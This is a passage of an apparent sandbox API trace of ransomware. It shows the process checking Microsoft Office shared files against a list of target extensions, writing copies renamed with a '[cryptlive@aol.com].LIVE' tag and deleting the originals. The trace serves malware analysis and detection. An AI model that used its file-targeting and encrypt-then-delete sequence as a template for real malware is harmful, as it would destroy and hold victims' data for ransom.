[0130.585] lstrcmpiW (lpString1=".docx", lpString2="T.ELM") returned -1 [0130.585] lstrlenW (lpString=".pdf") returned 4 [0130.585] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.585] lstrlenW (lpString=".xls") returned 4 [0130.585] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.585] lstrlenW (lpString=".xlsx") returned 5 [0130.585] lstrcmpiW (lpString1=".xlsx", lpString2="T.ELM") returned -1 [0130.585] lstrlenW (lpString=".ppt") returned 4 [0130.585] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.585] lstrlenW (lpString=".zip") returned 4 [0130.585] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.585] lstrlenW (lpString=".rar") returned 4 [0130.585] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.585] lstrlenW (lpString=".bz2") returned 4 [0130.585] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.585] lstrlenW (lpString=".7z") returned 3 [0130.585] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.585] lstrlenW (lpString=".dbf") returned 4 [0130.585] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.585] lstrlenW (lpString=".1cd") returned 4 [0130.585] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned 73 [0130.586] lstrlenW (lpString=".jpg") returned 4 [0130.586] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.586] lstrcmpiW (lpString1=".ELM", lpString2=".LIVE") returned -1 [0130.586] lstrlenW (lpString="JOURNAL.ELM") returned 11 [0130.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0130.844] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=47666) returned 1 [0130.844] CloseHandle (hObject=0x2fc) returned 1 [0130.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm")) returned 0x20 [0130.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.848] lstrlenW (lpString=".doc") returned 4 [0130.848] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.848] lstrlenW (lpString=".docx") returned 5 [0130.848] lstrcmpiW (lpString1=".docx", lpString2="L.ELM") returned -1 [0130.848] lstrlenW (lpString=".pdf") returned 4 [0130.848] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.848] lstrlenW (lpString=".xls") returned 4 [0130.848] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.848] lstrlenW (lpString=".xlsx") returned 5 [0130.848] lstrcmpiW (lpString1=".xlsx", lpString2="L.ELM") returned -1 [0130.848] lstrlenW (lpString=".ppt") returned 4 [0130.848] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.848] lstrlenW (lpString=".zip") returned 4 [0130.848] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.848] lstrlenW (lpString=".rar") returned 4 [0130.848] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.848] lstrlenW (lpString=".bz2") returned 4 [0130.848] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.848] lstrlenW (lpString=".7z") returned 3 [0130.848] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.848] lstrlenW (lpString=".dbf") returned 4 [0130.848] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.848] lstrlenW (lpString=".1cd") returned 4 [0130.848] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.849] lstrlenW (lpString=".jpg") returned 4 [0130.849] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.849] lstrlenW (lpString=".doc") returned 4 [0130.849] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.849] lstrlenW (lpString=".docx") returned 5 [0130.849] lstrcmpiW (lpString1=".docx", lpString2="L.ELM") returned -1 [0130.849] lstrlenW (lpString=".pdf") returned 4 [0130.849] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.849] lstrlenW (lpString=".xls") returned 4 [0130.849] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.849] lstrlenW (lpString=".xlsx") returned 5 [0130.849] lstrcmpiW (lpString1=".xlsx", lpString2="L.ELM") returned -1 [0130.849] lstrlenW (lpString=".ppt") returned 4 [0130.849] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.849] lstrlenW (lpString=".zip") returned 4 [0130.849] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.849] lstrlenW (lpString=".rar") returned 4 [0130.849] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.849] lstrlenW (lpString=".bz2") returned 4 [0130.849] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.849] lstrlenW (lpString=".7z") returned 3 [0130.849] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.849] lstrlenW (lpString=".dbf") returned 4 [0130.849] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.849] lstrlenW (lpString=".1cd") returned 4 [0130.849] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM") returned 75 [0130.849] lstrlenW (lpString=".jpg") returned 4 [0130.849] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.850] lstrcmpiW (lpString1=".INF", lpString2=".LIVE") returned -1 [0130.850] lstrlenW (lpString="REFINED.INF") returned 11 [0130.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.021] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=586) returned 1 [0131.021] CloseHandle (hObject=0x314) returned 1 [0131.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf")) returned 0x20 [0131.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.021] lstrlenW (lpString=".doc") returned 4 [0131.021] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0131.021] lstrlenW (lpString=".docx") returned 5 [0131.021] lstrcmpiW (lpString1=".docx", lpString2="D.INF") returned -1 [0131.021] lstrlenW (lpString=".pdf") returned 4 [0131.021] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0131.021] lstrlenW (lpString=".xls") returned 4 [0131.021] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0131.021] lstrlenW (lpString=".xlsx") returned 5 [0131.022] lstrcmpiW (lpString1=".xlsx", lpString2="D.INF") returned -1 [0131.022] lstrlenW (lpString=".ppt") returned 4 [0131.022] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0131.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.022] lstrlenW (lpString=".zip") returned 4 [0131.022] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0131.022] lstrlenW (lpString=".rar") returned 4 [0131.022] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0131.022] lstrlenW (lpString=".bz2") returned 4 [0131.022] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0131.022] lstrlenW (lpString=".7z") returned 3 [0131.022] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0131.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.022] lstrlenW (lpString=".dbf") returned 4 [0131.022] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0131.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.022] lstrlenW (lpString=".1cd") returned 4 [0131.022] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0131.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.022] lstrlenW (lpString=".jpg") returned 4 [0131.022] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0131.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.022] lstrlenW (lpString=".doc") returned 4 [0131.022] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0131.022] lstrlenW (lpString=".docx") returned 5 [0131.022] lstrcmpiW (lpString1=".docx", lpString2="D.INF") returned -1 [0131.022] lstrlenW (lpString=".pdf") returned 4 [0131.022] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0131.022] lstrlenW (lpString=".xls") returned 4 [0131.022] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0131.022] lstrlenW (lpString=".xlsx") returned 5 [0131.022] lstrcmpiW (lpString1=".xlsx", lpString2="D.INF") returned -1 [0131.023] lstrlenW (lpString=".ppt") returned 4 [0131.023] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0131.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.023] lstrlenW (lpString=".zip") returned 4 [0131.023] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0131.023] lstrlenW (lpString=".rar") returned 4 [0131.023] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0131.023] lstrlenW (lpString=".bz2") returned 4 [0131.023] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0131.023] lstrlenW (lpString=".7z") returned 3 [0131.023] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0131.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.023] lstrlenW (lpString=".dbf") returned 4 [0131.023] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0131.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.023] lstrlenW (lpString=".1cd") returned 4 [0131.023] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0131.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0131.023] lstrlenW (lpString=".jpg") returned 4 [0131.023] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0131.023] lstrcmpiW (lpString1=".ELM", lpString2=".LIVE") returned -1 [0131.023] lstrlenW (lpString="RIPPLE.ELM") returned 10 [0131.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0131.024] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=66016) returned 1 [0131.024] CloseHandle (hObject=0x314) returned 1 [0131.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm")) returned 0x20 [0131.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.025] lstrlenW (lpString=".doc") returned 4 [0131.025] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0131.025] lstrlenW (lpString=".docx") returned 5 [0131.025] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0131.025] lstrlenW (lpString=".pdf") returned 4 [0131.025] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0131.025] lstrlenW (lpString=".xls") returned 4 [0131.025] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0131.025] lstrlenW (lpString=".xlsx") returned 5 [0131.025] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0131.025] lstrlenW (lpString=".ppt") returned 4 [0131.025] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0131.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.025] lstrlenW (lpString=".zip") returned 4 [0131.025] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0131.025] lstrlenW (lpString=".rar") returned 4 [0131.025] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0131.025] lstrlenW (lpString=".bz2") returned 4 [0131.025] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0131.025] lstrlenW (lpString=".7z") returned 3 [0131.025] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0131.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.026] lstrlenW (lpString=".dbf") returned 4 [0131.026] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0131.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.026] lstrlenW (lpString=".1cd") returned 4 [0131.026] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0131.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.026] lstrlenW (lpString=".jpg") returned 4 [0131.026] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0131.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.026] lstrlenW (lpString=".doc") returned 4 [0131.026] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0131.026] lstrlenW (lpString=".docx") returned 5 [0131.026] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0131.026] lstrlenW (lpString=".pdf") returned 4 [0131.026] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0131.026] lstrlenW (lpString=".xls") returned 4 [0131.026] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0131.026] lstrlenW (lpString=".xlsx") returned 5 [0131.026] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0131.026] lstrlenW (lpString=".ppt") returned 4 [0131.026] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0131.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.026] lstrlenW (lpString=".zip") returned 4 [0131.026] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0131.026] lstrlenW (lpString=".rar") returned 4 [0131.026] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0131.026] lstrlenW (lpString=".bz2") returned 4 [0131.026] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0131.026] lstrlenW (lpString=".7z") returned 3 [0131.026] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0131.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0131.027] lstrlenW (lpString=".dbf") returned 4 [0131.027] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0131.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0131.476] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0131.476] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0131.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0132.916] GetLastError () returned 0x0 [0132.916] ReadFile (in: hFile=0x314, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x3a18, lpOverlapped=0x0) returned 1 [0132.934] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0132.936] ReadFile (in: hFile=0x314, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0132.936] WriteFile (in: hFile=0x350, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0132.936] SetEndOfFile (hFile=0x350) returned 1 [0132.937] CloseHandle (hObject=0x350) returned 1 [0132.937] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0132.937] SetEndOfFile (hFile=0x314) returned 1 [0132.941] CloseHandle (hObject=0x314) returned 1 [0132.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0132.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0132.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.942] lstrlenW (lpString=".doc") returned 4 [0132.942] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0132.942] lstrlenW (lpString=".docx") returned 5 [0132.942] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0132.942] lstrlenW (lpString=".pdf") returned 4 [0132.942] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0132.942] lstrlenW (lpString=".xls") returned 4 [0132.942] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0132.942] lstrlenW (lpString=".xlsx") returned 5 [0132.942] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0132.943] lstrlenW (lpString=".ppt") returned 4 [0132.943] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0132.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.943] lstrlenW (lpString=".zip") returned 4 [0132.943] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0132.943] lstrlenW (lpString=".rar") returned 4 [0132.943] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0132.943] lstrlenW (lpString=".bz2") returned 4 [0132.943] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0132.943] lstrlenW (lpString=".7z") returned 3 [0132.943] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0132.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.943] lstrlenW (lpString=".dbf") returned 4 [0132.943] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0132.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.943] lstrlenW (lpString=".1cd") returned 4 [0132.943] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0132.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.943] lstrlenW (lpString=".jpg") returned 4 [0132.943] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0132.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0132.943] lstrlenW (lpString=".doc") returned 4 [0132.943] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0132.943] lstrlenW (lpString=".docx") returned 5 [0132.943] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0132.943] lstrlenW (lpString=".pdf") returned 4 [0132.944] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0132.944] lstrlenW (lpString=".xls") returned 4 [0132.944] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0132.944] lstrlenW (lpString=".xlsx") returned 5 [0132.944] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0132.944] lstrlenW (lpString=".ppt") returned 4 [0132.944] lstrcmpiW 